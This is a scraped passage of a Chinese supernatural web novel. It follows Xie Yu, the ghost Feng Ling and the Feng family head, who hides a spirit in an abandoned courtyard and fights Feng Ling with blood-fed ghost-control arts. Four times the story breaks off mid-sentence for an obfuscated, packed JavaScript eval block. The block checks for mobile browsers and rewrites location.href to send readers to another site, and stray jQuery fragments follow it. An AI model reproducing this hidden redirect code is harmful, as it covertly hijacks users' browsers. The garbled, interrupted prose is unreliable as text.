酆灵英环视一圈,并未看出更多的怪异之处,拧着眉又往更深处走去。眼看身前这位越走越远,解玉来不及细思,只能提着步子先跟上再说。 自然,也就没看见散落在草丛深处的碎裂符箓…… 穿过遍布碎石子的坑洼空地,酆灵英停在了正屋门前。还不及抬手推门,便听见屋内突然传来断断续续的男声低喃,又像是年迈老者发出的嘶哑喘息。 酆灵英的眼睛一下子瞪得极大,整个人伫在原地迟迟没有动弹。她自诩记性极好,可对屋内人的声音却依旧毫无印象。要么这人不是酆家的,要么……他根本不是人! 酆灵英两眼半眯,反手掐了个诀便要破门而入,好在被赶上来的解玉拦了下来。 “酆姑娘,勿要打草惊蛇!” 解玉的声音压得极低,手下一用力便将酆灵英拉开了段距离,自己则趁势挤到女子此前站立的位置,竖起耳朵听着响动,一双眼睛更是不住地朝里张望。 屋内的声音却突然消失了,也不知道是不是察觉到了他们的动静。解玉伫立等在原地片刻,仍是不见任何反应。不动声色地与酆灵英交换了眼神,解玉试探性地搭上门脸,手下还来不及用力,消失的声音便又一次响起。 “……灵,归……儿,家……” 距离更近了些,也更清晰了些。 只是,里面的东西在喊什么? 灵? 哪个灵…… 解玉的第一反应是在唤酆灵英,后者却似乎因为隔了段距离没有听清,反而在等着他开口。再转回头,那声音愈发的明显,语速也开始由缓转急,带着近乎诡异的迫不及待。 解玉摩挲着腕骨上的符纹,犹豫不定的心一点点坚定起来。最坏的结果,也不过是求助纪苏文罢了,可若是成了,他便能解开封灵的困惑,甚至再不与酆家有任何牵扯…… 解玉打定了主意,从怀里掏出早前剩下的符箓,两指夹住便燃起一簇火苗。正要将其狠狠拍进去,一双眼睛却跟看见了什么难以置信的事情般骤然大睁,连带着手里的动作也迟疑着停了下来。 “解公子——” 酆灵英的话还没说完,解玉的耳后便传来一阵凌厉的劲风,另有一道颜色更深沉的符箓被拍在了门上,屋内的动静立刻不复存在。 解玉怔然回头,正看见一个眉宇间与酆灵英有五分相似的中年男子站在身后,审视的目光停在他身上少许时间后,又看向了酆灵英。 “阿英,怎么把客人带到这里来了?” 浑厚的男声如是道。 “……爹,”酆灵英连忙屈膝见礼,“您不是去皇宫了么,怎的这般快就回来了?” 却避而不答前一句的问。 酆父笑了笑,先将人拉了起来,又看向侧旁稍显局促的解玉,“想必,这位就是近来风头正盛的解公子了。解公子可从我酆家手里拿走了不少的生意哪!” 虽是开玩笑的口气,也不带任何兴师问罪的意味,解玉却仍觉得心中一惊,阴冷森寒的像是被条毒蛇裹缠一般。 “爹,就算咱们家的生意真变少了,那也只能怪自己学艺不精,又技不如人罢了……这些怎么能算在解公子的头上?” 酆灵英颇为不满。 酆父仍是一脸笑眯眯,说出的话却愈发直白,“你如今倒胳膊肘往外拐了,我可听说老七的事情也跟他脱不了干系。若不是你压着,家里人可不会就这么罢休。” “他们分明就拿不出证据,只是找不到人怪罪,所以迁怒罢了!”酆灵英丝毫没有退让的意思,“爹,您一直教导女儿要正直不阿,如今自己倒越活越回去了!” 心底的那股阴寒过去,解玉站在一旁便有些尴尬起来。于情于理,他都不应该出现在这样父女相争的场面里。而他自己,也还有更重要的事情想要求证。 “罢了罢了,你如今已经是少家主了,家里的这些事情便自己拿主意吧。” 酆父一副懒得插手的姿态,余光却有意无意地扫向解玉,或者说,是关注着解玉身后那座屋子的动静。 “解公子,来者即是客,但这座院子实在荒僻,还是让阿英带你去花厅闲坐吧。” 果然,酆父的下句话便落在了解玉身上。 莫名的松了口气,解玉正要顺势离开,酆灵英却又开口了。将两人方才在藏书阁所看到的怪异景象,一五一十地说给了酆父听。 解玉本还想着阻拦,话到嘴边又默默咽了回去。对他来说,酆家的其他人并不值得抱以信任,可对酆灵英来说,那却是自小教导她长大的父亲……他哪里来的立场让人不要透露出去。 想起自己刚才看见的东西,解玉的心里有些沉重,只觉得有些事情似乎就快要超出自己的预计,变得不受控制了…… “这院子确实有一只鬼物,但却是我特意留下的,方便咱们家的小辈练手。” 酆父在撒谎。 “那、那枚玉玦……” 酆灵英显然也还有疑虑,又问起与自己所佩玉环几乎一模一样的玉玦来。 “原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296357|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来落在了藏书阁……这哪里是什么玉玦,就是缺了一个角的玉环,是我的玉环,”酆父动作自然地从酆灵英掌心拈起那枚玉玦,“想来是与关在院子里的那只鬼物缠斗时,不小心被他从身上掠走了,又在他逃窜时落在了藏书阁,这才误打误撞地被你们捡到了。” 说着,又将玉玦放回了自己的佩袋里。 这下是真白来一趟了。 解玉暗自咬牙,眼睛直勾勾地盯着不放。 “一枚玉环而已,解公子若喜欢,回头我便命下人取一枚新的送来,也算是我这做主家的小小心意。” 酆父笑呵呵道。 “……谢过国师好意,解某心领、多谢国师慷慨赠玉了。” 解玉扯了扯嘴角,本欲客套拒绝,却想起酆灵英说过的两物相似之话,绕了个弯又干脆领受了下来。 总不能空手而归。 “好,解公子果然不一般……那便请解公子移步花厅吧,玉环稍后便会奉上。” 酆父面上的笑淡了些。 心底的阴冷之气重又出现,像是在警示着什么般萦绕不散。解玉自来相信自己直觉,也明白今日是再没机会回藏书阁了,更别提摸到其他有用的信息,干脆偃旗息鼓,利落地朝酆父道别—— “多谢国师美意,只是天色已晚,解某今日便不多叨扰了,”解玉客气道,“改日备好薄礼,再专程登门拜访国师……至于玉环,还请国师这会儿就命人送过来,我拿上它再走。” 场面一时安静。 解玉这会儿脸皮也厚了起来,心道‘光脚的不怕穿鞋的’,毫不畏惧地迎上酆父不知何时变得黝黑的目光。 酆灵英也在一旁帮腔,“爹,还是我让人去拿吧,正好送解公子出去。” “也好。” 酆父微微颔首,看着酆灵英将解玉带离脚下的这座小院。直到彻底望不见人影后,才重新从佩袋掏出那枚玉玦,眼中神色晦涩难懂。 身后的屋子又开始传出响动,像是不甘心自己被限制在此地般,一次又一次地重复着旁人听不清的混乱呼唤。酆父握住玉玦的手无端一紧,收敛了眼底神色,又从袖中掏出数张新的符箓贴上。 正是封灵当日所见的倒贴。 …… “解公子,今日让你白跑一趟了,”酆灵英将玉环递到解玉手边,话中含着歉意,“改日我再约公子上门,届时再细查藏书阁中的文籍。” “一切听酆姑娘安排。” 解玉将玉环揣进怀里,像是不经意间想到般问道:“对了,酆姑娘,你们家的人……名字里都会带灵这个字吗?” “……灵字只有每一代的家主才能用。因我是少家主,所以才被称作‘灵英’,否则我就跟酆容一样,只被叫作‘酆英’罢了。” 酆灵英简单解释了两句,又问起解玉问这话的缘由。后者犹豫了下,还是选择了相信酆灵英,将自己听来的那几个字说了出来。这或许也是个契机,可以让这位酆家少家主再找到些其他可用的线索。 他还需要酆灵英再帮他确认一些事情。 解玉缓缓捏紧了拳头。 44. 瞒与古怪 “……你记住我说的话,别真被冥主逮到了,否则到时候就别想再上来了。” 解玉在外忙活大半天,好不容易从酆家回到城隍庙,将将踏进客房便听见有陌生的声音传来。 封灵依旧坐在临窗的摇椅里,身边却凭空多了个穿素衣的年轻女子。此刻微微倾身,正姿态熟稔地与封灵说着什么。他进门时听到的话,便是从这女子口中发出的。 “解道长,过来见过泰媪大人。” 封灵正与孟婆互通着消息,觉察到不远处解玉的气息后,便止了话头,神态自然地招呼男人上前。 伫立在门边的人影方才动作起来,稳稳停在三步开外的地方,解玉朝来人一见礼,按着封灵的话唤了句泰媪大人。 “还是叫我孟婆罢……泰媪二字,人间怕是都已经不记得了。”孟婆微微颔首,灰色的眼眸在解玉的脸上打了个转,“封灵儿,这就是你在人间绑的那位道长吧。确实是位俏郎君,可别叫画皮鬼他们瞧见了,否则非过来跟你抢走不可。” “……他们哪里敢抢我的人?” 封灵不屑地轻嗤,顺着孟婆的视线停在解玉的脸上,也跟着发出一声赞叹,“要说还是我的眼光好,早早地把人定了下来,他们便是起了心思也没用。” 解玉听着一点点涨红了脸,手与脚都不知道该如何摆放了。 “我要说的就这些了,你这段日子便自个儿留意着吧。真要被冥主抓了个现行,我可不替你担着……”孟婆复又叮嘱起来,“今日来的匆忙,不曾想会见到解道长,竟这样两手空空地就上来了。改日再为道长带些地府的小玩意儿,便算是见面礼了。” 解玉摆着手便要推拒,被眼疾手快的封灵禁声拦下,“那我便替解玉先谢过了……下次再来,记得带些能在人间换钱的。我还想试试过好日子是什么滋味呢!” “你如今难道就过得差了么?” 孟婆嗔了红衣鬼一眼,看着解玉笑得颇为和善,“封灵儿这段时日长留人间,想必给道长你添了不少的麻烦。之后……怕还要继续辛苦解道长了。” 说着,又凭空画出一道符纹,凝出形状后送至解玉的手边,“这是能限制鬼物行走、叫其不能动弹的符纹。我将它附于你的掌心,若哪次遇上个难对付的,只需在心底默念一声‘定’,再往那鬼物的后背一拍,立时就能起效。” 孟婆顿了一下,故意瞥了封灵一眼,又慢吞吞地补上后半截话,““……虽不能直接拿去换钱,但至少能让你少受些伤,抓鬼驱邪的路上也能容易许多。” 显然,是从红衣鬼的嘴里听过解玉近日来受伤的许多事迹了。 解玉看着一点点消失在自己手心的符纹灿光,张口欲谢无果后,只能拱手聊表谢意。封灵却不满孟婆拿自己取笑,两手交叉抱胸,挑着眉故意找茬道:“他如今又不是刚入行的愣头青了,定鬼抓凶的招数也早被乌贺教会了,哪需要你再给个什么没用的符纹?” 又朝解玉的方向打了个响指,后者干咳两声,终于又恢复了说话的声音。 “封灵儿,我哪一次让你吃过亏呀……那道符纹可是我专门拿小黑和小白试过手的,连他们这两个无常都挣不开的。” 孟婆若有所指般瞥了解玉一眼,要长不短的一句话偏说的意味深长。 “有这样的好东西,你在地府的时候怎么不教我?!” 封灵不敢置信地看向孟婆,一双红眸瞪得滚圆。 “……教会了你,我还能在地府里过安生日子么?”孟婆轻咳了两声,迅速岔开话题,“总之,解道长你就按照我说的去做,定不会再遇到能伤着你的鬼祟。” 又赶在封灵再度开口前截断,“我来趟人间不容易,此地又是乌贺的地盘,还该去与他见上一面才是……封灵儿,我就先走了。” 话音刚落,身影便已从屋子里消失。 “……鬼大王,泰媪大人怎么会知道你如今住的地方,还提起冥主什么的,是鬼差们又要带你回去了么?” 解玉看着孟婆消失前站立的地方,犹豫了几瞬才迈步上前,低声问起封灵来。 “就是提醒我冥主、便是酆都大帝来人间了,让我近来小心些行踪,别撞上他老人家后又被带回地府了。” 封灵简单解释了两句,心中同样疑惑。 孟婆这一趟来得无声无息的,全然不见任何征兆。她那会儿正靠坐在院外的树干上阖目养神呢,刚闻到却死香的味道,抬头便看见孟婆站在跟前。 她似乎是专程来看封灵这段时日过得好不好的,顺道提醒了句酆都大帝已经离开地府的事情。虽说封灵这一次是靠孟婆的掩护才偷溜来人间的,可这还是她第一次看到这位泰媪大人出现在奈何桥以外的地方,又这样来去匆匆的,少不得有些纳罕。 “大概,是怕我又被罚去做苦力吧……” 红衣鬼师只能如此解释。 解玉哦了一声,有些摸不准自己该不该继续接话。 屋内一时静谧。 “……从酆家回来了?” 片刻后,封灵突然出声。 解玉还沉浸在自己的纠结当中,闻言下意识一点头,旋即意识到了不对劲。 他刚进城就被请去酆家了,在酆灵英那里耽搁到现在才回来,结果跟着又与孟婆打了照面,直到这会才与封灵有独处的时间,这位鬼师娘娘究竟是从哪里知道的? “纪苏文看见你跟着酆家的人走了,又不好直接追上去,便跑过来与我说了。” 封灵一见这副表情便知解玉在想些什么,不耐烦地啧了一声,而后习以为常地开口解释。 “纪鬼差在城外时便与我分开了……还以为他赶着回去陪伴蔺姑娘呢,却原来是到城隍庙来找鬼大王你了。” 解玉挠着头,并不对纪苏文跟在自己身边的事情感到奇怪。事实上,也是解玉在跟鬼祟斗法的过程中摸索出了经验,不再像前段时间似的次次挂彩,又伤到需要纪苏文搀扶回城隍庙的地步,这才有今日抓完鬼直接在城外分别的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306602|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生。 “他是过来道谢的,也提了提蔺秋茹的近况,说是一切都好……解道长,还想听我再跟你解释些旁的吗?” 封灵笑得眉眼弯弯,语气更是和善,却生生被解玉听出了一股风雨欲来的架势。 迅速摆正姿态,解玉低眉垂目地将一直揣在怀里的玉环递了出去,又三言两语地交代了藏书阁和废弃院落发生的异事……却独独瞒下了他所看到的屋内之景。 再等等,等他确认清楚了,就…… 就什么? 解玉自己也不知道,但至少他现在还不能将毫无根据的假设捅到封灵的面前。 “……你是觉得,酆灵英她爹有古怪?” 封灵摩挲着玉环上的细密纹路,眸色深沉地不知在想些什么。 “未必是古怪,但绝对在隐瞒些什么。” 虽有背后议论人的嫌疑,可眼下也顾不得许多了。解玉坐得更近了些,试图与封灵论证自己觉得奇怪的地方。后者却在这时候将捏在手里的玉环扔了回来,坠玉的穗子在空中划过一道弧线,又沉沉落在解玉的衣摆上。 “酆灵英说玉玦上刻的纹路是酆家嫡出一脉才有的,那与你带回来的这枚玉环有什么区别……解道长,你还记得吗?” 解玉一下子愣住了,想了想才带着少许的不确定道:“大概还是有些印象的……” 点了点不远处的书桌,封灵朝男人示意了两眼,“把你记得的都画出来,我看看。” 解玉起身坐到书桌后头,兀自沉思了好一会儿,方取过笔架上的狼毫开始勾画。片刻工夫过去,才拿着墨迹还未干透的宣纸走回封灵身边。 红衣鬼掀了掀眼皮,目光在宣纸上不住地逡巡,须臾后在眼底染上一抹惑色。 真是奇怪,她竟有一瞬间觉得眼熟,却偏又想不起在哪里见过…… 解玉还在旁边等着,眼下显然不是深思的时候,封灵遂敛了神色,又问起另一件事来,“你刚才还说,那院子里被酆灵英她爹养了鬼物?” “只是他自己这样说罢了,谁知道究竟是不是鬼物,或者说有没有鬼物……” 解玉面露豫色。 再往下说,便会与他看到的东西牵扯起来了,可他却并不想封灵这样早地就知道…… “酆灵英就没有说过,什么时候会让你再去一趟藏书阁?” 封灵似乎也在想事情,并没有觉察到解玉脸上一瞬间的不自然,仍按照自己此前的想法继续问道。 “酆姑娘只说会尽快。” 解玉松了口气。 “……” 本以为能从酆灵英身上解惑,却没想到谜团会越来越多……看来,她还是得找个时间亲自去查探一次。今日这趟,解玉他们怕是已经打草惊蛇了,酆家的那位国师,这会估计正连人带鬼地重新设下屏障,短期内约莫是探查不出小院的秘密了。 红衣鬼师合了扇子,眼中闪过一丝厉芒。 那她便先去会会这位国师大人! 45. 局与痕迹 那之后的半个月,酆灵英就跟销声匿迹了般毫无动静,解玉也暂时停下了外出驱鬼的活计,免得两人又一次错开。骤然松泛下来,让已经习惯到处奔走的解玉无端生出了几分不适应。 干等了两、三日后,不堪空闲的解道长索性真做起了身上这件袍子的营生,蹲在城隍庙里当起了替人解卦的庙祝。因能说会道,兼有一副好皮相,原本门可罗雀的北地城隍庙陆续多了不少烧香的信众,连带着另两个庙祝也开始忙碌起来。 至于封灵,虽已决定好要去一会那位酆家家主,却也没急在这当头匆匆上门,否则与解玉出现在酆家的时间间隔太短,少不得会惹来某些人的猜疑,再替自己挡了这盆脏水。 如此按兵不动地又过了数日,酆灵英总算传来了新的消息——酆家欲于近日往百望山探穴定位,以便岁末时的迁移祖坟。而眼下早是秋日,算起来时间已然不多。前段日子酆灵英迟迟不见踪影,便是被此事绊住了脚。 好在也不算一事无成。 酆灵英虽不得空走出家门,却也给了她留在藏书阁的机会。白日里与下属处理各宗琐碎事务,入夜后便持烛穿梭在不同书架之间,细细找寻着她那位先祖遗留下来的蛛丝马迹。 最后,竟也真被她找出来了。 今次欲迁坟去往的百望山,似乎就是文籍记载的那位女坤先祖的辞世之地。 千年前是座炊烟袅袅的村落,千年后却成了拔地而起的山峦。 酆灵英特意来信相告,便是希望解玉能与她一同前往百望山,至于目的么……当然是想借机一见拿着折扇的封灵了。 …… “决定要去了?” 封灵两指捏住酆灵英命人送来的薄薄一页信笺,偏过头先问起解玉的意愿。 解玉正忙着收拾行装,闻言头也不抬地应道:“送上门的机会,哪有不去的道理……只是鬼大王,你还是不与我一起去吗?” 惨白的手腕微转,那信笺便重新落回了书桌之上。红衣鬼师盘腿浮在解玉身边,两手撑住下颌做围观状,“去,但是不跟你一起去。乌贺那边还有些事情需要我帮忙,等处理好了我便去找你……酆灵英在信上似乎没提到哪日见面,你可别一头热地跑过去,最后连个人影也找不到。” “来送信的是她身边的护卫,与我约好了五日后在百望山附近的村镇碰面,等到第七日再一起进百望山。” 解玉手下用力地给包袱打了个结,“据说这是酆家家主亲自测算的吉日,到时候连他都会过去……明明还只到探穴定位的阶段,便已经这般兴师动众了,也不知道到岁末时会搞得多声势浩大。” 言者无心,听者却有意。 “……你这会就把包袱拾掇好了,是预备着要出发了?” 封灵突然问道。 “百望山虽离得不远,可一路过去也得费个三、四日的功夫,算下来差不多今日就要出发了。” 解玉将包袱拎在手里,感受了几下重量。 封灵似乎也只是随口一问,见解玉已算好了时间,便也不再多言。只转而叮嘱起要人万事小心,又道自己会尽快过去。 没遇上解玉前,封灵竟不知道自己还有成为唠叨鬼的潜质。如此这般拉拉杂杂地又是一阵,等到解玉用过午饭离开,客房里才彻底只剩下封灵一个。 抬眼看过窗外的天色,封灵摩挲着不知何时拿在手里的折扇,决定择日不如撞日,趁着解玉和酆灵英都出发去百望山了,今夜便去一趟酆家,顺道探一探那位家主的底。 最次,也得把那枚玉玦给带回来。 …… 是夜,酆家宅。 封灵掐着诀掩去身形,怀着那一点莫名的心思,再次将身上的红衣幻化成了那日的素纱白衣,又一路飘去早前停留过的废弃小院。 结果却大出她所料。 上次来时,那小院门上贴着无数汇聚鬼气的符箓,又明晃晃地关了只不知是人是鬼的东西,更不必提那摆明为防鬼设下的屏障……可今日再看,倒贴的符箓不见了,森寒的鬼气也没了踪影,连能阻拦她进去的屏障也一并撤去了。 这座院子,如今只是久久无人居住的废弃小院,再看不出任何的诡异之处。 轻盈落在地面,封灵左右走了两步,又阖眸感受了一圈周围的动静,而后不出意外地毫无所获。 动作还真是快。 封灵可惜般咂了下嘴,却也瞧不出多少遗憾。她此行的目的原也不是在这座院子,还是先去见一见那位酆家的家主好了。 正要离开,封灵的目光却陡然停在了门扇半掩的正屋方向。上次她听到的奇怪喃语,便是从这里头传来的…… 封灵无声扫了两眼,而后振袖一挥,左右木门被风吹得大开的同时,她也轻飘飘地落了进去。 与杂草丛生、砂石遍地的外院不同,屋子里的环境却显得格外齐整,桌椅陈设、卧具被褥一应俱全,布置得甚至比他们在城隍庙住的那间客房还要精致,全然不似无人居住的样子。 她甚至闻到了一股淡淡的幽香。 不是上次来时感受到的熟悉又陌生的味道,而是掺进了许多种香粉后的腻人幽香。 太刻意了,就像是为了遮掩掉什么一般…… 封灵以扇掩面,试图挡去少许的味道,猩红眼眸则继续在屋内逡巡。 片刻后又在靠近墙角的卧榻边上发现了几块碎裂的铁片,应当是什么东西在遭受重力后留下的。大概是因为掉落的地方太过隐蔽,所以连清扫屋子的人也没有注意到。 封灵勾了勾手指,那铁片便“倏”的一下落在她的掌心。反手握住的瞬间,白衣鬼师便察觉出了怪异的地方——这东西,隐隐约约似有鬼气与血气环绕,肌肤相贴的表面更是凹凸不平。指腹摩挲着感受了几下,虽因残缺不全有些难辨认,但应当是从某本书里刻录的符语…… 封灵将铁片凑近自己的眼前,拧着眉细看了许久,仍是推敲不出个所以然来。 若是能再多两块就好了…… 封灵摇头叹息。 但这也绝对不是个好东西。她记得解玉曾说过,他们在藏书阁捡到的玉玦上也有鬼气和血气萦缠,看来这铁片的主人也与那玉玦脱不开干系。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321504|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >且她如今也能确定了,住在这里的绝对不是什么生人。 将铁片揣回自己兜袋的鬼师娘娘,嫌弃般地拍了拍沾在手上的灰土,自觉也不算是无功而返。抬眼环视了一圈,封灵屈下膝盖,伸出指尖在地上勾画出一道略显繁复的符纹,看着它成形又一点点散去痕迹,方才满意地撤出屋子。 先留个印记,若以后这座院子再被利用起来,她也可以第一时间知道。 一墙之隔的巷道外传来更夫敲竹梆子的声音。封灵这才惊觉夜已过半,而她此行的目的还没开始呢! 抬眼找准了方位,封灵“咻”地化作一缕青烟,一改来时的不紧不慢,风风火火地从院子里消失。 …… 接连找错几处地方的封灵,在第四次现出身形时,终于摸到了漆黑死寂的家主院。 她原以为会看到一座守卫森严的主院,却不想一个生人也没有,暗处也没有任何窥伺的眼睛,更别提什么防身驱鬼的符箓了。 如此庞大的一个家族,竟这样放心自己的家主么……守卫松懈到连她刚才错进的旁系院落也比不上。 究竟是自信,还是请君入瓮? 封灵没有立刻落地,而是坐在房檐上扬起扇子,刮起一阵不大不小的流风,直直吹开面前紧闭的几扇门窗。 依旧没有声音,更不见有人出现。 红眸染上几分兴味,看来是真的在等着她了。或者说,是在等着对酆家有所图、对那枚玉玦有所图的人和鬼了。 她可从来不怕这些。 手腕微微翻转,封灵握住折扇正欲扬风入内,却又在动作前急急停下。她差点就忘了孟婆说过的话——酆都大帝也来人间了。 她在这里揎拳掳袖地与凡人打架,若只被鬼差们看到还好,言语威胁几句也不怕他们去告状。可若被酆都大帝抓个正着,那她至少一百年内别想再来人间了。 还有那个讨厌的夜游神! 封灵啧了一声,不情不愿地重新坐回房檐上,单手撑住下颌又左右张望了好几眼。确定某位爱告状的鬼神没有出现在附近后,方才朝空中弹去一道幽光。 默念了几句法诀,封灵注视着那道光点升至能够笼罩整座院子的高度,而后“咻”地一下四散分裂,化作与外界隔离的弧形圆壁。 这下便不怕会被看见了。 封灵满意地拍了拍手,又收回本欲用作武器的折扇,反从腕间解下许久不曾用过的勾魂索,脸上的笑意一点点扩大。 这下便万无一失了。 不管是被路过的鬼差发现,还是被等着捉她的酆家人发现,她都可以说自己是在为地府办差,谁也别想捏她错处! 足下轻点,封灵便轻盈地飞入屋内。 并不打算继续遮掩气息,封灵如进自家门般闲庭信步,左右搜寻起那枚玉玦的存放之地来。 一路看到侧间的栏架格时,封灵才终于听到身后传来的浑厚男声—— “酆某等候许久,还请这位鬼大人一现真面目……你、你究竟是谁?!” 后半截的语调却陡然升高,带着极度的难以置信。 46. 迷与负伤 封灵闻声而停,却没有立即转身。 她又不是聋子,怎会没听出酆父后半截话里的惊诧,以及那几丝似有若无的恐惧。 是的,恐惧。 垂目看向身上的白衣,封灵的心情开始一点点糟糕起来。她虽也是抱着试探的意图才幻化出这身衣裳的,可平心而论,却并不希望自己真在其中有什么牵扯…… 但如今看来,她所经历的一切似乎都在与最开始的希望背道而驰。她丢失在千年前的那段记忆,或许不止有阎魔王的影子,更有酆家人参与其中。 封灵不快地眯起了红眸,她可一点也不喜欢这种被牵着鼻子走的滋味,像只无头苍蝇似的,谁都可以看笑话。 回忆了下出声的位置,封灵不动神色地朝左迈了一小步,在酆父的眼皮子底下把自己的背影暴露得更加彻底。 不是说她穿白衣的背影看着眼熟么,她倒要看看,酆家的人是不是也深有同感……封灵打定了主意,玉玦她要拿,酆父嘴里的话她也要套! “你、你……不可能!” 酆父的呼吸声有些急促,似乎还没有从先前的惊诧中脱出身来。须臾捂住胸口,不受控制地喘着粗气,堪称瞪目哆口般盯着眼前的封灵不放。 正当时,窗外洒进一片月光,正投在人与鬼的站立之处。酆父的影子被拖得颀长,白衣的脚下却空白无迹。酆父这才醒过神来,方惊觉自己的反应过分奇怪了。 “……哪里来的邪祟,竟敢在酆家行蛊惑之术,”酆父反手从挂架抽出一把剑,“我今日便要替天行道!” 封灵亦是惊怒,她分明进院前才施下一层屏障,里面的情况传不出去,外面的东西也走不进来,怎么还可能出现月光! 是有人在暗地里帮忙? 还是被驭使的小鬼们在提醒主人? 旋身从栏架格前消失,封灵毫不费力地避开酆父破空挥来的一记剑芒,又出现在后者半步开外的身侧,凑近耳廓,轻飘飘地发出一声质询,“你怎敢说我是邪祟?” 酆父一击不成,耳边又传来女子飘忽不定的轻询,脸色更是大变。反手将剑身横挡在自己面前,酆父“蹬蹬”几步退后靠墙,眼中厉色更浓,“还敢嘴硬!我今日非把你打得现出原形不可!也好叫你这只女鬼知道,得罪酆家会有什么样的下场!” 两指并拢从剑刃上迅速划过,细长的殷红血线便顺着剑身绵延坠向地面,却又在即将洇出圆痕前突然消失。酆父身前的地面,不知何时涌出一团黑色影子,又迅速吞噬掉坠下来的每一滴血。 酆父死死盯住眼前的白影,口中轻呢了几句法诀,那地面便又凭空抽出了数条灰黑色锁链,挟着吸食了血液的黑色团影直扑向封灵而去。 封灵立刻旋身飞起,迅速躲开试图缠上自己手脚的暗色锁链。红眸显出几分不快,扯出勾魂索便是狠狠一抽,将妄图偷袭的黑色团影打得粉碎。 “……好个享誉千年的抓鬼世家,选出的家主竟是个以血饲鬼的无能之辈!” 封灵垂目看向酆父,面上是不加遮掩的嘲笑。她原以为能跟酆都大帝做生意的人,后代就是再无能,也能靠着先祖算计得来的驭鬼术修个不错的本事,却原来已经到要养鬼维持颜面的地步了…… 看来,酆灵英是他们家的特例,似酆七这般的才是常态。 酆父的面容狰狞了一瞬,全然不复那日在解玉面前的温言含笑模样,此刻盯着封灵手里的殷红绳索,眼中流露出几分忌惮。 “……鬼娘子说的话,酆某怎么听不太明白呢,”酆父皮笑肉不笑地搭腔,掩在袖下的手悄然掐出一道法诀,“去!” 原本散裂的黑影再度凝成一团,夹杂着嘶哑难听的吼叫声出现在封灵身后,尤不甘心地缠了上去。 同样的招数竟还想来第二次? 封灵不屑地冷哼,握住勾魂索,反手又是一抽,不料这一回却只是虚晃一枪,黑影引过注意力后便迅速退回角落,四散不知踪影。酆父嘴角的笑弧一点点扩大,趁着封灵回身迎击的刹那,念出了她曾在酆七嘴里听过的熟悉法诀,五指弯曲成爪,狠狠朝白衣的方向抓去。 竟是想要驭使封灵! 封灵眉梢一挑,本想直接消失闪躲,却不知是否有驭鬼术的缘故在里头,她竟一时不能变幻身形。眼看避无可避,封灵却偏偏无所畏惧地迎了上去,乍一看就跟受了酆父的驭使一般。 又在即将被抓住的瞬间,扬起勾魂索朝酆父胸膛抽去。眼看就要将人打落在地,封灵却跟突然想起了怎么似的急急收了动作,来不及散去的力道勉强擦过酆父肩膀,划破衣襟后又重重打在脚边。 好险…… 她差一点就要伤人了。 封灵这下是真有些惊魂未定了。这人刚才若真被她的勾魂索打中,当场丧命、魂魄离体都是轻的,她自己则会因为沾了生人血肉而沦为厉鬼,落个魂飞魄散的下场…… 就为了这么个卑劣的凡人,把自己搭进去可太不值得了。封灵拍了拍胸口,面上难得露出几分惊骇。 酆父的表情也没好到哪里去。他与鬼祟不知打了多少年的交道,自然能感觉出刚才蕴在那绳索上的澎湃鬼力,也分明自己差一点丧命的现实。 踉跄几步站稳脚跟,酆父喘着劫后余生的粗气,满脸阴鸷地看向封灵,却在发现前者同样惊骇的表情后怔愣片刻,须臾露出一道令人胆寒的狞笑—— “……鬼娘子你,似乎并不敢对酆某下死手哪!”酆父缓缓开口,带着了然的恶意,“是怕自己成了没有回头路的厉鬼吗?” 封灵抚着胸口的动作一顿,而后目光沉沉地看向正洋洋得意的酆父。恶鬼与厉鬼只一线之隔,这是地府诸鬼差都知道的事情,甚至有些与鬼神打过交道的生人也有所耳闻,但无论如何,都不该是眼前这人该知道的…… 封灵将勾魂索重新缠回腕间,并不因酆父的口吻而气怒,“看来驭鬼术在你们手里也不算全然的没有用处,毕竟还能套些无胆小鬼的话呢不是……可须知有些事情你们是没有资格知道的!” 说着两手翻掌为爪,一如酆父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338108|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才做过的那般,毫不留力冲着面门而去,似乎想直接掐断眼前人的脖颈。而酆父显然也没有嘴里说的那样镇定自若,生怕真被一只鬼折了命,迟疑间向后退去,背脊贴上墙壁。 